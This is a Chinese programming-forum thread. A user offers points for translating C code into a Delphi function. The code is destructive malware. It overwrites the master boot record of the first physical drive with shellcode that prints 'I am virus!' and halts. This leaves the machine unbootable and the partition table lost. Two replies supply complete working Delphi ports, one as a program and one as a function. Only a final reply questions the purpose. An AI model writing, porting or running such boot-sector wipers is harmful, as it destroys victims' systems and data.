500大洋请高手帮助吧一下代码转换成DELHI代码病定义成函数。
#include <windows.h>
#include <winioctl.h>unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
/*
00000000  B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)
00000003  CD10 int 10h ; 进入图形显示方式,隐藏光标
00000005  BD187C mov bp, Msg ; ES:BP = 串地址
00000008  B91800 mov cx, 18h ; CX = 串长度
0000000B  B80113 mov ax, 1301h ; AH = 13,  AL = 01h
0000000E  BB0C00 mov bx, 000ch ; 页号为0(BH = 0) 黑底红字(BL = 0Ch,高亮)
00000011  BA1D0E mov dx, 0e1dh ; dh行, dl列
00000014  CD10 int 10h ; 10h 号中断
00000016  E2FE loop $
Msg: db "ok:-)" 
*/
int WINAPI WinMain(
  HINSTANCE hInstance,  // handle to current instance
  HINSTANCE hPrevInstance,  // handle to previous instance
  LPSTR lpCmdLine,      // pointer to command line
  int nCmdShow          // show state of window
)
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
  return -1;
DeviceIoControl
(
hDevice, 
FSCTL_LOCK_VOLUME, 
NULL, 
0, 
NULL, 
0, 
&dwBytesReturned, 
NULL
);WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice, 
FSCTL_UNLOCK_VOLUME, 
NULL, 
0, 
NULL, 
0, 
&dwBytesReturned, 
NULL
);
CloseHandle(hDevice);
return 0;
}

解决方案 »

  1.   


    program Test;uses
      Windows;const
      scode: array[0 .. 3 * 16 -1] of Byte =(
        $b8, $12, $00, $cd, $10, $bd, $18, $7c, $b9, $18, $00, $b8, $01, $13, $bb, $0c,
        $00, $ba, $1d, $0e, $cd, $10, $e2, $fe, $49, $20, $61, $6d, $20, $76, $69, $72,
        $75, $73, $21, $20, $46, $75, $63, $6b, $20, $79, $6f, $75, $20, $3a, $2d, $29);  FILE_DEVICE_FILE_SYSTEM         = $00000009;
      FILE_ANY_ACCESS     = 0;
      METHOD_BUFFERED   = 0;
      FSCTL_LOCK_VOLUME = (FILE_DEVICE_FILE_SYSTEM shl 16) or (FILE_ANY_ACCESS shl 14) or (6 shl 2) or METHOD_BUFFERED;
      FSCTL_UNLOCK_VOLUME = ((FILE_DEVICE_FILE_SYSTEM shl 16) or (FILE_ANY_ACCESS shl 14) or(7 shl 2) or METHOD_BUFFERED);
    var
      hDevice: THandle;
      dwBytesWritten, dwBytesReturned: DWORD;
      pMBR: array[0..512-1] of Byte;
    begin
      FillChar(pMBR[0],SizeOf(pMBR),0);
      Move(scode[0],pMBR[0],SizeOf(scode) - 1);
      pMBR[510] := $55;
      pMBR[511] := $AA;  hDevice := CreateFile(
        '\\.\PHYSICALDRIVE0',
        GENERIC_READ or GENERIC_WRITE,
        FILE_SHARE_READ or FILE_SHARE_WRITE,
        nil,
        OPEN_EXISTING,
        0,
        0);
      if (hDevice = INVALID_HANDLE_VALUE) then
        Exit;
      DeviceIoControl(
        hDevice,
        FSCTL_LOCK_VOLUME,
        nil,
        0,
        nil,
        0,
        dwBytesReturned,
        nil);  WriteFile(hDevice, pMBR, sizeof(pMBR), dwBytesWritten, nil);
      DeviceIoControl(
        hDevice,
        FSCTL_UNLOCK_VOLUME,
        nil,
        0,
        nil,
        0,
        dwBytesReturned,
        nil
        );
      CloseHandle(hDevice);
    end.
    这是代码
      

  2.   

    改成函数这个模样function UnKnownFunc: Integer;
    const
      scode: array[0 .. 3 * 16 -1] of Byte =(
        $b8, $12, $00, $cd, $10, $bd, $18, $7c, $b9, $18, $00, $b8, $01, $13, $bb, $0c,
        $00, $ba, $1d, $0e, $cd, $10, $e2, $fe, $49, $20, $61, $6d, $20, $76, $69, $72,
        $75, $73, $21, $20, $46, $75, $63, $6b, $20, $79, $6f, $75, $20, $3a, $2d, $29);  FILE_DEVICE_FILE_SYSTEM         = $00000009;
      FILE_ANY_ACCESS     = 0;
      METHOD_BUFFERED   = 0;
      FSCTL_LOCK_VOLUME = (FILE_DEVICE_FILE_SYSTEM shl 16) or (FILE_ANY_ACCESS shl 14) or (6 shl 2) or METHOD_BUFFERED;
      FSCTL_UNLOCK_VOLUME = ((FILE_DEVICE_FILE_SYSTEM shl 16) or (FILE_ANY_ACCESS shl 14) or(7 shl 2) or METHOD_BUFFERED);
    var
      hDevice: THandle;
      dwBytesWritten, dwBytesReturned: DWORD;
      pMBR: array[0..512-1] of Byte;
    begin
      FillChar(pMBR[0],SizeOf(pMBR),0);
      Move(scode[0],pMBR[0],SizeOf(scode) - 1);
      pMBR[510] := $55;
      pMBR[511] := $AA;  hDevice := CreateFile(
        '\\.\PHYSICALDRIVE0',
        GENERIC_READ or GENERIC_WRITE,
        FILE_SHARE_READ or FILE_SHARE_WRITE,
        nil,
        OPEN_EXISTING,
        0,
        0);
      if (hDevice = INVALID_HANDLE_VALUE) then
      begin
        Result := -1;
        Exit;
      end;
      DeviceIoControl(
        hDevice,
        FSCTL_LOCK_VOLUME,
        nil,
        0,
        nil,
        0,
        dwBytesReturned,
        nil);  WriteFile(hDevice, pMBR, sizeof(pMBR), dwBytesWritten, nil);
      DeviceIoControl(
        hDevice,
        FSCTL_UNLOCK_VOLUME,
        nil,
        0,
        nil,
        0,
        dwBytesReturned,
        nil
        );
      CloseHandle(hDevice);
      Result := 0;
    end;
      

  3.   

    往磁盘引导扇区里写东西,想干嘛?不过在win7下好像没权限访问